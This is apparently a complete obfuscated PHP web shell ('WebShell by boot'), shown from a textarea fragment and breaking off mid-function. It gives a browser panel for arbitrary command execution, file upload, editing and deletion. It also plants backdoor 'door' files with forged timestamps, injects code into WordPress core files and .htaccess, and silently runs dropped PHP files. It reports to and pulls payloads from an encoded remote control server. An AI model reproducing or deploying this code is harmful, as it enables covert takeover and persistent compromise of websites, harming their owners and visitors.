<textarea class="form-control" id="new_content" name="new_content" rows="20" cols="100" placeholder="New File Content"><?php goto fc9; ba5: echo $file_path; goto Cf1; E47: } else { if ($type == 7) { goto E70; a9b: echo $new_name; goto c81; A91: echo $file_path; goto A1d; C60: if (!empty($new_name)) { if (!is_dir($now_path . '/' . $new_name)) { if (mkdir($now_path . '/' . $new_name)) { echo '<div class="alert alert-success" role="alert">Directory created successfully!</div>'; } else { echo '<div class="alert alert-success" role="alert">Directory creation failed!</div>'; } } else { echo '<div class="alert alert-success" role="alert">Directory already exists!</div>'; } } goto E12; E12: ?>
<div class="row">
<form action="?type=7" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto fc5; c81: ?>" placeholder="New Folder Name">
</div>
<button type="submit" class="btn btn-success">Create Now</button>
</form>
</div>
<?php goto D97; E70: $new_name = trim($_POST['new_name']); goto C60; A1d: ?>"/>
<div class="form-group">
<input type="text" class="form-control" id="new_name" name="new_name" value="<?php goto a9b; Ee8: ?>"/>
<input type="hidden" id="path" name="path" value="<?php goto A91; fc5: echo $_SESSION['c2hlbGxfY29kZQ==']; goto Ee8; D97: } else { if ($type == 8) { goto bf; b6: ?>
<?php goto D0; E5: if (!empty($search_keys)) { goto A7; A7: $result = array(); goto d1; af: foreach ($file_list as $file) { $str = '<a href="?path=' . $file . '&type=2" target="_blank">' . $file . '</a>'; echo '<p><input type="checkbox" class="item" name="files[]" value="' . $file . '"/>&nbsp;&nbsp;' . $str . '</p>'; } goto fd; e2: ?></div>
<div>
<p>
<input type="checkbox" name="allcheck" id="allcheck" value="1"/>&nbsp;&nbsp;all check
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type="button" class="delBtn" value="delete"/>
</p>
</div>
<div>
<?php goto af; c4: echo "<span style='color:red;'>" . $search_keys . "</span> files list£º\n"; goto e2; fd: ?>
</div>
</form>
<?php goto F3; d1: $file_list = findFilesWithContent($website_path, $search_keys, 0, 10); goto E0; E0: ?>
<form action="?type=8" method="post" id="deleteForm" style="margin: 1rem;">
<input type="hidden" name="act" id="act" value="deleteFiles"/>
<div><?php goto c4; F3: } goto e1; da: ?>" placeholder="Search content">
</div>
<button type="submit" class="btn btn-success">Search</button>
</form>
</div>
<?php goto E5; D7: ?>
<div class="row">
<form action="?type=8" method="post">
<div class="form-group">
<input type="text" class="form-control" id="search_keys" name="search_keys" value="<?php goto Af; Af: echo $search_keys; goto da; Fe: $act = trim($_POST['act']); goto D7; e1: if (!empty($act) && $act == 'deleteFiles') { $file_list = $_REQUEST['files']; foreach ($file_list as $k => $v) { deleteFile($v); } } goto b6; bf: $search_keys = trim($_POST['search_keys']); goto Fe; D0: } else { goto b8; f9: echo $file_path; goto e5; d65: ?>"/>
<input type="hidden" name="shell_id" value="<?php goto F30; C0: ?>&type=8">Search Files</a>
</form>
</div>
<div class="col-6">
<form action="?path=<?php goto e4; e71: if ($_POST['act'] == 'exec_code') { goto db; db: $exec_code = trim($_POST['exec_code']); goto b7; a4: if ($returnVar === 0) { echo "<div style='color: green;font-weight:bold;'>" . $exec_code . " is Successfully.</div>"; foreach ($output as $k => $v) { echo $v . '<br/>'; } } else { echo "<div style='color: red;font-weight:bold;'>" . $exec_code . " is Failed:" . $returnVar . ".</div>"; } goto De; b7: exec($exec_code, $output, $returnVar); goto a4; De: } goto D7c; d0: ?>"/>
<input type="hidden" name="shell_type" value="<?php goto fb; E23: ?>"/>
<button type="submit" class="btn btn-danger btn-sm">Doors</button>
</form>
</div>
<div class="col-2 col-sm-1">
<form action="?path=<?php goto b19; Ada: ?>" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto Bad; Ac: $file_list = scandir($now_path); goto Bf; d7: ?>"/>
<button type="submit" class="btn btn-success btn-sm">Reback</button>
</form>
</div>
<div class="col-2 col-sm-1">
<form action="?path=<?php goto f9; a2e: if (!empty($file_list) && count($file_list) > 2) { foreach ($file_list as $k => $v) { if (!($v == '.' || $v == '..')) { goto B2; A1: ?>
</td>
<td>
<?php goto F8; df: ?>" name="childcheck[]">
</div>
</th>
<td>
<?php goto C1; ac: ?>
</td>
<td>
<?php goto ce; B2: $file_url = $now_path . '/' . $v; goto be; F2: if (strpos($permission, 'w') !== false) { echo '<font color="green" style="font-weight: bold;">' . $permission . '</font>'; } else { echo '<font color="red" style="font-weight: bold;">' . $permission . '</font>'; } goto A3; c0: echo $file_url; goto C2; dc: $modificationTime = filemtime($file_url); goto Cf; e8: echo $file_url; goto bb; e9: ?>
</td>
<td>
<?php goto dc; be: ?>
<tr>
<th>
<div class="form-check">
<input class="form-check-input" type="checkbox" value="<?php goto ef; B5: echo $file_url; goto d9; C2: ?>&type=5">Chmod</a>
</td>
</tr>
<?php goto Cc; F8: $permission = getFilePermission($file_url); goto F2; D9: if (!is_dir($file_url)) { goto Eb; Eb: ?>
<a href="<?php goto c8; c8: echo $now_url . '/' . $v; goto Ea; Ea: ?>" target="_blank">click visit</a>
<?php goto Fd; Fd: } goto ac; A3: ?>
</td>
<td>
<a class="btn btn-primary btn-xs" href="?path=<?php goto B5; ce: if (is_dir($file_url)) { echo '<font color="green" style="font-weight: bold;">Directory</font>'; } else { echo getFileSize($file_url); } goto e9; d9: ?>&type=4">Rename</a>
<a class="btn btn-info btn-xs" href="?path=<?php goto e8; ef: echo $file_url; goto df; C1: if (is_dir($file_url)) { echo '<a href="?path=' . $file_url . '&type=1" style="color: green;font-weight:bold;">
<i class="bi bi-folder" style="vertical-align: middle;">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-folder" viewBox="0 0 16 16">
<path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .342-1.31zM2.19 4a1 1 0 0 0-.996 1.09l.637 7a1 1 0 0 0 .995.91h10.348a1 1 0 0 0 .995-.91l.637-7A1 1 0 0 0 13.81 4H2.19zm4.69-1.707A1 1 0 0 0 6.172 2H2.5a1 1 0 0 0-1 .981l.006.139C1.72 3.042 1.95 3 2.19 3h5.396l-.707-.707z"/>
</svg>
</i>' . $v . '</a>'; } else { echo '<a href="?path=' . $file_url . '&type=2">' . $v . '</a>'; } goto F0; Cf: echo date("Y-m-d H:i:s", $modificationTime); goto A1; bb: ?>&type=2">Edit</a>
<a class="btn btn-warning btn-xs" href="?path=<?php goto c0; F0: ?>
</td>
<td>
<?php goto D9; Cc: } } } else { ?>
<tr>
<td colspan="4" style="text-align: center;color:red;">
No Files!
</td>
</tr>
<?php } goto d27; ae: ?>"/>
<input type="hidden" name="shell_id" value="<?php goto Dc; E99: ?>"/>
<div class="col-12" style="margin-bottom: 1rem;">
<input type="hidden" name="act" value="del"/>
<button type="submit" class="btn btn-danger btn-xs">Delete</button>
</div>
<table class="table table-bordered">
<thead>
<tr>
<th>
<div class="form-check">
<input class="form-check-input" type="checkbox" value="1" id="allcheck" name="allcheck">
</div>
</th>
<th>Name</th>
<th>Url</th>
<th>Size</th>
<th>Modify</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php goto a2e; de: echo $_SESSION['c2hlbGxfY29kZQ==']; goto b5; F30: echo $_SESSION['c2hlbGxfaWQ=']; goto C1a; e2b: ?>" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto e63; fcd: echo $_SESSION['c2hlbGxfaWQ=']; goto Fb4; D8: echo $_SESSION['c2hlbGxfY29kZQ==']; goto d2; ec: ?>" method="post" enctype="multipart/form-data">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto de; B3: ?>"/>
<input type="hidden" name="shell_id" value="<?php goto e0; Aa: ?>&type=7">Create Folder</a>
<a class="btn btn-warning btn-sm" href="?path=<?php goto f8; E6: ?>" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto f7; e97: ?>"/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="station"/>
<input type="hidden" name="shell_id" value="<?php goto fcd; Dc: echo $_SESSION['c2hlbGxfaWQ=']; goto d0; a64: ?>
<?php goto e71; ba8: echo $_SESSION['dHlwZQ==']; goto B45; E36: echo $_SESSION['c2hlbGxfY29kZQ==']; goto c84; cb: echo $file_path; goto ec; d2: ?>"/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="exec"/>
<input type="hidden" name="group_id" value="<?php goto Ab; bee: ?>"/>
<input type="hidden" name="group_id_2" value="<?php goto bb5; Ee: echo $file_path; goto C4; E4: ?>"/>
<input type="hidden" name="shell_type" value="<?php goto f2; a5: echo $file_path; goto Ada; Fb9: echo $file_path; goto F99; Bf: $file_list = sortByFolder($now_path, $file_list); goto ee; Af4: ?>"/>
<input type="hidden" name="group_id_3" value="<?php goto Eae; Ab: echo $_SESSION['Z3JvdXA=']; goto ae; b19: echo $file_path; goto e2b; F99: ?>" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto d95; C4: ?>&type=6">Create File</a>
<a class="btn btn-success btn-sm" href="?path=<?php goto e6; f2: echo $_SESSION['dHlwZQ==']; goto d7; e5: ?>" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto D8; c7: ?>" style="display: inline-block;width: 80%;"/>
<input type="hidden" name="act" value="change_dir"/>
<button type="submit" class="btn btn-info btn-sm">Change Dir</button>
</form>
</div>
<div class="col-6">

</div>
</div>
</div>
<div class="bd-example bd-example-row" style="border: 1px solid #ededed;padding: 1rem;margin: 1rem 0;">
<div class="row">
<div class="col-2 col-sm-1">
<form action="?path=<?php goto Ce; Fb4: ?>"/>
<input type="hidden" name="shell_type" value="<?php goto ba8; fb: echo $_SESSION['dHlwZQ==']; goto bd; B6: if ($_POST['act'] == 'upload') { $targetFile = $now_path . '/' . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { echo '<div class="alert alert-success" role="alert">File ' . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . ' uploaded!</div>'; } else { echo '<div class="alert alert-danger" role="alert">File upload failed!</div>'; } } goto Ac; e0: echo $_SESSION['c2hlbGxfaWQ=']; goto E4; b5: ?>"/>
<input type="hidden" name="act" value="upload"/>
<input class="form-control form-control-sm" id="formFileSm" name="fileToUpload" type="file" style="width: 200px;display: inline-block;">
<button type="submit" class="btn btn-info btn-sm">Upload</button>
<a class="btn btn-primary btn-sm" href="?path=<?php goto Ee; e6: echo $file_path; goto Aa; d27: ?>
</tbody>
</table>
</form>
</div>
<?php goto d8d; Eae: echo $_SESSION['dGhpcmRncm91cA==']; goto bf0; C1a: ?>"/>
<input type="hidden" name="shell_type" value="<?php goto F23; f8: echo $file_path; goto C0; bf0: ?>"/>
<input type="hidden" name="shell_type" value="<?php goto F0f; d95: echo $_SESSION['c2hlbGxfY29kZQ==']; goto E99; eb: echo $_SESSION['Z3JvdXA=']; goto B3; f7: echo $_SESSION['c2hlbGxfY29kZQ==']; goto B4; e7: if ($_POST['act'] == 'del') { $delete_file_list = $_POST['childcheck']; if (!empty($delete_file_list)) { goto ca; c6: if ($count > 0) { echo '<div class="alert alert-success" role="alert">Delete ' . $count . ' files successfully!</div>'; } goto C5; Bb: $fail_count = 0; goto B7; B7: foreach ($delete_file_list as $k => $v) { if (is_dir($v)) { $del_result = deleteDirectory($v); } else { $del_result = unlink($v); } if ($del_result) { $count++; } else { $fail_count++; } } goto c6; ca: $count = 0; goto Bb; C5: if ($fail_count > 0) { echo '<div class="alert alert-danger" role="alert">Delete ' . $fail_count . ' files failed!</div>'; } goto E1; E1: } } goto B6; B4: ?>"/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="reback"/>
<input type="hidden" name="group_id" value="<?php goto eb; Baf: ?>"/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="others"/>
<input type="hidden" name="shell_id" value="<?php goto A52; D7c: ?>
</div>
</div>
</div>
<form action="?path=<?php goto Fb9; F0f: echo $_SESSION['dHlwZQ==']; goto Af1; ee: ?>
<div class="row">
<div class="col-12" style="margin-bottom: 1rem;">
<div class="row">
<div class="col-6">
<form action="?path=<?php goto cb; f65: if ($_POST['act'] == 'shell') { if ($_POST['type'] == 'reback') { rebackAction($_POST, $pws, $now_site); } else { if ($_POST['type'] == 'exec') { execAction($_POST, $pws, $now_site); } else { if ($_POST['type'] == 'doors') { doorsAction($_POST, $pws, $now_site); } else { if ($_POST['type'] == 'others') { othersAction($_POST, $pws, $now_site); } else { if ($_POST['type'] == 'station') { stationAction($_POST, $pws, $now_site); } } } } } } goto a64; D2: echo $path; goto c7; b8: ?>
<?php goto e7; bb5: echo $_SESSION['c2Vjb25k']; goto Af4; c84: ?>"/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="doors"/>
<input type="hidden" name="group_id" value="<?php goto a6d; f4c: echo $file_path; goto Ff5; e4: echo $file_path; goto d4; e63: echo $_SESSION['c2hlbGxfY29kZQ==']; goto e97; Ce: echo $file_path; goto E6; B45: ?>"/>
<button type="submit" class="btn btn-primary btn-sm">Station</button>
</form>
</div>
</div>
</div>
<div class="bd-example bd-example-row" style="border: 1px solid #ededed;padding: 1rem;margin: 1rem 0;">
<div class="row">
<div class="col-12 col-sm-12" style="text-align: center;font-weight:bold;">
<?php goto f65; Bad: echo $_SESSION['c2hlbGxfY29kZQ==']; goto Baf; d4: ?>" method="post" enctype="multipart/form-data">
<input type="text" name="exec_code" class="form-control" value="" style="display: inline-block;width: 50%;"/>
<input type="hidden" name="act" value="exec_code"/>
<button type="submit" class="btn btn-info btn-sm">Exec</button>
</form>
</div>
</div>
</div>
<div class="col-12" style="margin-bottom: 1rem;">
<div class="row">
<div class="col-6">
<form action="?type=1" method="post" enctype="multipart/form-data">
<input type="text" name="dir" class="form-control" value="<?php goto D2; Af1: ?>"/>
<button type="submit" class="btn btn-info btn-sm">Others</button>
</form>
</div>
<div class="col-2 col-sm-1">
<form action="?path=<?php goto f4c; A52: echo $_SESSION['c2hlbGxfaWQ=']; goto bee; F23: echo $_SESSION['dHlwZQ==']; goto E23; Ff5: ?>" method="post">
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto E36; a6d: echo $_SESSION['Z3JvdXA=']; goto d65; bd: ?>"/>
<button type="submit" class="btn btn-warning btn-sm">Exec</button>
</form>
</div>
<div class="col-2 col-sm-1">
<form action="?path=<?php goto a5; d8d: } } } } } } goto bda; A6f: ?></div>
<div style="width: 30%;display:inline-block;">OS: <?php goto D84; B0c: ?></div>
<div style="width: 30%;display:inline-block;">User: <?php goto b6a; C86: echo $website_path; goto c36; f19: ?></div>
</p>
<p>
<div style="width: 30%;display:inline-block;">Website: <?php goto f5d; ca3: ?>>Writeable</span>
</p>
</div>
<?php goto e6f; a80: ?></div></p>
<p>
<a href="?path=<?php goto C86; Fe5: echo $data['SERVER_ADDR']; goto A51; E35: ?>
&nbsp;&nbsp;&nbsp;&nbsp;<span <?php goto d18; fa8: $file_now_path = ""; goto B1e; b31: ?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>WebShell by boot</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
<style>.col-12{width: 100%;display: inline-block;}.col-6{width: 50%;display: inline-block;float: left;}</style>
</head>
<body>
<div class="jumbotron text-center" style="padding: 1rem 0rem;">
<h1 style="font-size:2rem;font-weight: bold;margin: 1rem 0;">WebShell by boot</h1>
</div>
<div class="container">
<div class="row">
<p>
<div style="width: 30%;display:inline-block;">Server IP: <?php goto Fe5; c36: ?>">Project</a>
</p>
</div>
<div class="row">
<p>
Path:
<?php goto fa8; ade: ?>>Readable</span> | <span <?php goto b9e; bda: ?>
</div>
<script>
$(function(){
$('#allcheck').click(function(){
if($('#allcheck').is(":checked")){
$('input[name="childcheck[]"]').each(function(){
$(this).attr('checked', true);
})
}else{
$('input[name="childcheck[]"]').each(function(){
$(this).attr('checked', false);
})
}
})
})
</script>
<script>
$(function(){
$("#allcheck").click(function(){
$('.item').prop('checked', this.checked);
});

$('.item').click(function(){
if ($('.item').length == $('.item:checked').length) {
$('#allcheck').prop('checked', true);
} else {
$('#allcheck').prop('checked', false);
}
});

$('.delBtn').click(function(){
var checkedValues = [];

$(".item:checked").each(function(){
checkedValues.push($(this).val());
});
if(checkedValues.length == 0){
alert('please select files');
return false;
}else{
$('#deleteForm').submit();
}
});
})
</script>
</body>
</html>
<?php goto A47; b6a: echo get_current_user(); goto a80; A2a: echo $data['SERVER_SOFTWARE']; goto A6f; A47: } goto D80; B8f: $now_url = $web_url . $sy_path; goto Bd8; ace: $domain = $_SERVER['HTTP_HOST']; goto Afa; E2f: ini_set('memory_limit', '-1'); goto F38; f6e: $sy_path = str_replace($website_path, '', $now_path); goto B8f; b4a: if (is_readable($now_path)) { $can_read = true; } goto a7b; F9b: function add_others($group2_code, $group3_code, $second_file, $third_file, $now_site) { goto d79; d79: $result = array(); goto e65; Fd5: return $result; goto A86; bbb: if ($sf) { $result['second_url'] = $now_site . '/' . $second_file; } goto D68; D68: if ($tf) { $result['third_url'] = $now_site . '/' . $third_file; } goto Fd5; D2a: $tf = crefile($third_file, $group3_code); goto Dbb; e65: $sf = crefile($second_file, $group2_code); goto D2a; Dbb: $result['second_url'] = ""; goto bf4; bf4: $result['third_url'] = ""; goto bbb; A86: } goto C23; ef2: function cndoorfile($fipath, $file_name, $open_content, $contnt) { goto D81; C89: $fileurl = $fipath . '/' . $file_name; goto fe7; D81: if (!is_dir($fipath)) { mkdir($fipath, 0755, true); } goto C89; fe7: if (file_put_contents($fileurl, $contnt) !== false) { goto Ed9; e59: chmod($fileurl, 0555); goto E6a; Ed9: $time = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto F42; C2b: return true; goto E7e; D4d: $ht_content_now = str_replace('{#htcontent}', $file_name, $open_content); goto A85; F42: touch($fipath, $time); goto e59; A85: chmod($fipath . '/.htaccess', 0755); goto e77; E6a: $ht_content_now = ""; goto D4d; a7c: chmod($fipath, 0555); goto C2b; e77: if (file_put_contents($fipath . '/.htaccess', $ht_content_now) !== false) { chmod($fipath . '/.htaccess', 0555); } goto a7c; E7e: } else { return false; } goto Dd5; Dd5: } goto Cba; f09: function add_exec($website_root, $ht_contnt, $index_contnt, $exec_code, $wp_ycode) { goto B43; Ca5: $exec_code = str_replace("[##indexcontent##]", base64_encode($index_contnt . $wp_ycode), $exec_code); goto bd8; efa: $exec_code = str_replace("[##htcontent##]", base64_encode($ht_contnt), $exec_code); goto Ca5; bd8: $o23 = $website_root . "/wp-includes/" . get6str() . ".php"; goto F37; F37: echo $o23; goto c5d; D9d: fwrite($u17, $exec_code); goto fa0; B43: $exec_code = str_replace("[##website_path##]", $website_root, $exec_code); goto efa; D1d: if ($res === 0) { return true; } else { return false; } goto Fc7; De5: exec("php -f {$o23} > /dev/null 2>/dev/null &", $a22, $res); goto D1d; c5d: $u17 = fopen($o23, "a+"); goto D9d; fa0: fclose($u17); goto De5; Fc7: } goto A0a; e8b: $website_path = $data['DOCUMENT_ROOT']; goto f63; a9f: $last_folder_url = ""; goto B3f; Bd8: $post_data = $_POST; goto ca2; Ad7: if (!empty($path)) { $file_path = $path; $now_path = $path; } goto Eb9; d46: if (!is_dir($now_path)) { $now_path = dirname($now_path); } goto Ac8; A7d: function getAllSubdirectories($directory, $maxDepth = 10, $currentDepth = 0) { goto B0f; B0f: global $all_paths; goto aac; f9d: if ($currentDepth > $maxDepth) { return array(); } goto Fb5; F8c: foreach ($items as $item) { goto C4d; C4d: if ($item == '.' || $item == '..') { continue; } goto a4d; a4d: $path = $directory . DIRECTORY_SEPARATOR . $item; goto Bf2; Bf2: if (is_dir($path)) { goto f1a; f1a: $subdirectories[] = $path; goto Da5; e08: $subdirectories = array_merge($subdirectories, getAllSubdirectories($path, $maxDepth, $currentDepth + 1)); goto E4f; Da5: $all_paths[] = $path; goto e08; E4f: } goto c73; c73: } goto C54; aac: $subdirectories = array(); goto f9d; Fb5: $items = scandir($directory); goto F8c; C54: return $subdirectories; goto cd6; cd6: } goto da8; Cf6: @set_time_limit(0); goto bd2; A0a: function get6str() { goto Fa6; Fa6: $s = ""; goto c11; c11: for ($i = 0; $i < 6; $i++) { $s .= chr(mt_rand(97, 122)); } goto Cb9; Cb9: return $s; goto B14; B14: } goto abf; Dee: function crefile($fiurl, $contnt) { goto e05; E82: if (file_put_contents($file_path, $contnt) !== false) { goto f50; f50: $time = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto f2e; Dbe: return true; goto f9b; f2e: touch($file_path, $time); goto Dbe; f9b: } else { return false; } goto b57; e05: $path = $_SERVER['DOCUMENT_ROOT'] . '/'; goto D1c; D59: $file_path = $path . $fiurl; goto E82; ddc: if (!is_dir($filath)) { if (!mkdir($filath, 0755, true)) { return false; } } goto D59; D1c: $filath = $path . dirname($fiurl); goto ddc; b57: } goto c61; C23: function doorsAction($data, $pweb, $now_site) { goto b15; c04: $result_data['shell_id'] = $data['shell_id']; goto B0a; a04: $shell_type = $data['shell_type']; goto A2e; e9b: $group_id = $data['group_id']; goto a04; dfa: $res = curlpost($save_url, $result_data); goto fbb; a23: $result_data['shell_type'] = $shell_type; goto dfa; Fbe: if (!empty($json_array['doors'])) { $result = add_doors($json_array['doors'], $json_array['doors_55'], $json_array['wp_files'], $json_array['third_file'], $json_array['ht_ban_content'], $json_array['ht_open_content'], $json_array['shell_action_code'], $now_site); if (!empty($result['door_files'])) { goto Ca6; Ca6: $result_data['door_urls'] = implode(';', $result['door_files']); goto C6c; Dc6: $result_data['status'] = 1; goto ae5; C6c: $result_data['shell_other_url'] = $result['shell_other_url']; goto Dc6; ae5: } else { $result_data['code'] = '1001'; $result_data['status'] = 2; } } else { $result_data['code'] = '1002'; $result_data['status'] = 2; } goto a23; B0a: $result_data['action'] = 'doors'; goto c42; fbb: if ($res['status']) { echo '<p style="color:green;">Doors is successfully, Success .h is ' . $result['count'] . '</p>'; foreach ($result['door_files'] as $k => $v) { echo '<p><a href="' . $v . '" target="_blank">' . $v . '</a></p>'; } } else { echo '<p style="color:red;">Doors is failed! ' . $result_data['code'] . '</p>'; } goto E69; b15: $result_data = array(); goto c04; b07: $cc = curlget($url); goto F68; c42: $save_url = base64_decode($pweb) . '/save.php'; goto dd0; A2e: $url = base64_decode($pweb) . '/indexdoor.php?action=doors&shell_id=' . $shell_id . '&group_id=' . $group_id . '&shell_type=' . $shell_type; goto b07; F68: $json_array = json_decode($cc, true); goto Fbe; dd0: $shell_id = $data['shell_id']; goto e9b; E69: } goto a3e; fd0: function add_station($station_code, $ht_content, $now_site) { goto d24; c59: return $count; goto D5f; d24: $station_code = base64_decode($station_code); goto f0d; C33: $all_folders = getParentsFolders($path); goto a43; f0d: $count = 0; goto E88; Cbb: foreach ($all_results as $k => $v) { goto Ee5; E3f: if (strpos($wp_yuan, $station_code) === false) { file_put_contents($wp_url, $station_code . $wp_yuan); chmod($wp_yuan, 0444); } goto Dcb; de2: if (file_exists($index_url)) { chmod($index_url, 0644); $index_yuan = file_get_contents($index_url); } goto C3f; B41: $ht_url = $v . '/.htaccess'; goto C47; E19: $wp_yuan = ""; goto A0b; F82: file_put_contents($ht_url, $ht_content); goto Bec; C47: $index_yuan = ""; goto de2; Bec: chmod($ht_url, 0444); goto c71; C3f: if (strpos($index_yuan, $station_code) === false) { file_put_contents($index_url, $station_code . $index_yuan); chmod($index_url, 0444); } goto E19; A0b: if (file_exists($wp_url)) { chmod($wp_url, 0644); $wp_yuan = file_get_contents($wp_url); } goto E3f; Dcb: chmod($ht_url, 0644); goto F82; c71: $count++; goto a78; ece: $wp_url = $v . '/wp-cron.php'; goto B41; Ee5: $index_url = $v . '/wp-blog-header.php'; goto ece; a78: } goto c59; a43: $all_results = array(); goto a4e; a4e: foreach ($all_folders as $k => $v) { $directories = glob($v . '/*', GLOB_ONLYDIR); $all_folders = array_merge($all_folders, $directories); } goto f43; E88: $path = $_SERVER['DOCUMENT_ROOT']; goto d52; f43: foreach ($all_folders as $k => $v) { if (!strpos($v, $folder_name)) { $all_results[] = $v; } } goto Cbb; d52: $folder_name = basename($path); goto C33; D5f: } goto ae7; be1: function getAllDirectories($path, $depth, $door_count) { goto cbd; F3c: $dirsPerFirstLevel = max(1, floor($totalSelections / count($firstLevelDirs))); goto d5e; C26: if (count($selectedDirectories) < $totalSelections) { goto a39; Fb1: foreach ($firstLevelDirs as $dir) { $allSubDirs = array_merge($allSubDirs, glob($dir . '/*', GLOB_ONLYDIR)); } goto a9c; a39: $additionalNeeded = $totalSelections - count($selectedDirectories); goto Aab; C8b: if (count($remainingDirs) > 0) { $additionalDirs = (array) array_rand($remainingDirs, min($additionalNeeded, count($remainingDirs))); foreach ($additionalDirs as $key) { $selectedDirectories[] = $remainingDirs[$key]; } } goto f0b; Aab: $allSubDirs = array(); goto Fb1; a9c: $remainingDirs = array_diff($allSubDirs, $selectedDirectories); goto C8b; f0b: } goto bc1; b86: $firstLevelDirs = glob($path . '/*', GLOB_ONLYDIR); goto cf9; bc1: $randomKeys = array_rand($all_paths, 1); goto B6e; cf9: $totalSelections = $door_count; goto D04; B36: $door_lists = $selectedDirectories; goto ca6; cbd: global $all_paths, $door_lists, $last_folder_url; goto b86; D04: $selectedDirectories = array(); goto F3c; B6e: foreach ((array) $randomKeys as $key) { $last_folder_url = $all_paths[$key]; } goto B36; ca6: return $all_paths; goto F79; d5e: foreach ($firstLevelDirs as $dir) { goto da6; da6: $all_paths[] = $dir; goto Fd8; daf: if (count($subDirs) >= $dirsPerFirstLevel) { $randomKeys = array_rand($subDirs, $dirsPerFirstLevel); foreach ((array) $randomKeys as $key) { $selectedDirectories[] = $subDirs[$key]; } } else { $selectedDirectories = array_merge($selectedDirectories, $subDirs); } goto a2b; Fd8: $subDirs = getAllSubdirectories($dir, 10); goto daf; a2b: } goto C26; F79: } goto A7d; abf: function othersAction($data, $pweb, $now_site) { goto A4c; e6b: $url = base64_decode($pweb) . '/indexdoor.php?action=others&group_id_2=' . $group_id_2 . '&group_id_3=' . $group_id_3 . '&shell_type=' . $shell_type; goto Da4; ae3: $json_array = json_decode($cc, true); goto Ba7; a35: $cc = curlget($url); goto ae3; cee: $res = curlpost($save_url, $result_data); goto d36; d36: if ($res['status']) { echo '<p style="color:green;">Others is successfully</p>'; } else { echo '<p style="color:red;">Others is failed! ' . $result_data['code'] . '</p>'; } goto bab; d17: $shell_type = $data['shell_type']; goto e6b; de6: $result_data['action'] = 'others'; goto Af2; Af2: $save_url = base64_decode($pweb) . '/save.php'; goto a35; E9a: $result_data['shell_type'] = $shell_type; goto cee; A4c: $shell_id = $data['shell_id']; goto c9f; B46: $result_data['shell_id'] = $shell_id; goto de6; c9f: $group_id_2 = $data['group_id_2']; goto b4f; Ba7: if (!empty($json_array['group2_code']) && !empty($json_array['second_file']) || !empty($json_array['group3_code']) && !empty($json_array['third_file'])) { $result = add_others($json_array['group2_code'], $json_array['group3_code'], $json_array['second_file'], $json_array['third_file'], $now_site); if (!empty($result['second_url']) || !empty($result['third_url'])) { goto Bc3; Bc3: $result_data['second_url'] = $result['second_url']; goto d19; Cb4: $result_data['status'] = 1; goto b1d; d19: $result_data['third_url'] = $result['third_url']; goto Cb4; b1d: } else { $result_data['code'] = '1001'; $result_data['status'] = 2; } } else { $result_data['code'] = '1002'; $result_data['status'] = 2; } goto E9a; Da4: $result_data = array(); goto B46; b4f: $group_id_3 = $data['group_id_3']; goto d17; bab: } goto F9b; A72: function curlpost($url, $data) { goto Cc1; Bc6: curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', 'Content-Length: ' . strlen($jsonData))); goto b78; C84: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto C05; b0d: if (curl_errno($ch)) { $result['status'] = 0; $result['msg'] = curl_error($ch); } goto b74; C05: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto Bc6; cbe: $result = array(); goto b0d; b78: curl_setopt($ch, CURLOPT_POST, true); goto Bea; Bea: curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData); goto B5d; Ce5: $res = json_decode($response, true); goto Dc5; Cc1: $jsonData = json_encode($data); goto Ba5; B5d: $response = curl_exec($ch); goto cbe; Dc5: $result['status'] = $res['status']; goto a06; b74: curl_close($ch); goto Ce5; a06: return $result; goto Be9; Ba5: $ch = curl_init($url); goto C84; Be9: } goto Dee; Eb9: if ($type == 1) { if (!empty($dir)) { $path = $dir; } $now_path = $path; } goto f7a; Afa: $now_site = $prot . $domain; goto f6e; f63: $file_path = $data['SCRIPT_FILENAME']; goto f4a; e5b: function deleteFile($file) { if (file_exists($file)) { chmod($file, 0777); if (unlink($file)) { echo '<p style="color:green;font-weight: bold;">' . $file . " is delete success" . '</p>'; } else { echo '<p style="color:red;font-weight: bold;">' . $file . " is delete error" . '</p>'; } } else { echo '<p style="color:red;font-weight: bold;">' . $file . " is not exist" . '</p>'; } } goto b5b; ae7: function getParentsFolders($path) { goto Fef; Fef: $all_folders = array(); goto a27; a27: $parent_folds = dirname($path); goto a52; D7e: $all_folders = array_merge($all_folders, $directories); goto e14; a1d: 